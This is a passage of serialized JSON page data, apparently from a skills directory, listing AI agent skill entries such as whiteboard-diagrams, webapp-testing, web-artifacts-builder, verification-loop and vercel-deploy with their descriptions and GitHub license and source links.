simple, hand-drawn whiteboard diagrams from a user's process, system, architecture, learning workflow, comparison, or causal explanation. Use when the user asks for a scribbly whiteboard visual, educational workflow graphic, hand-drawn explainer, or diagram like the bundled reference; ask one focused clarification question when the subject or relationships are missing, then generate and visually verify the final image.","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fwhiteboard-diagrams\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fwhiteboard-diagrams\u002FSKILL.md",[],[],{"skillNo":103,"name":104,"nameZh":6,"description":105,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":106,"sourceHtmlUrl":107,"categories":108,"keywords":109,"publishedAt":20},"01M7EFF1CSQNTDMHFK4ZGY6NYK","webapp-testing","Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fwebapp-testing\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fwebapp-testing\u002FSKILL.md",[],[],{"skillNo":111,"name":112,"nameZh":6,"description":113,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":114,"sourceHtmlUrl":115,"categories":116,"keywords":117,"publishedAt":20},"01M7EFE8106X6C28FT8PA74427","web-artifacts-builder","Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn\u002Fui). Use for complex artifacts requiring state management, routing, or shadcn\u002Fui components - not for simple single-file HTML\u002FJSX artifacts.","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fweb-artifacts-builder\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fweb-artifacts-builder\u002FSKILL.md",[],[],{"skillNo":119,"name":120,"nameZh":6,"description":121,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":90,"licenseFileUrl":6,"sourceHtmlUrl":122,"categories":123,"keywords":124,"publishedAt":20},"01M7EFCSNZM9G7ZHS6F127Q71X","verification-loop","A comprehensive verification system for Claude Code sessions.","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fverification-loop\u002FSKILL.md",[],[],{"skillNo":126,"name":127,"nameZh":6,"description":128,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":90,"licenseFileUrl":129,"sourceHtmlUrl":130,"categories":131,"keywords":132,"publishedAt":20},"01M7EFCE7EZMKPRYDDNKBQ9EEH","vercel-deploy","Deploy applications and websites to Vercel. Use when the user requests deployment actions like \"deploy my app\", \"deploy and give me the link\", \"push this live\", or \"create a preview deployment\".","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fvercel-deploy\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fvercel-deploy\u002FSKILL.md",[],[]]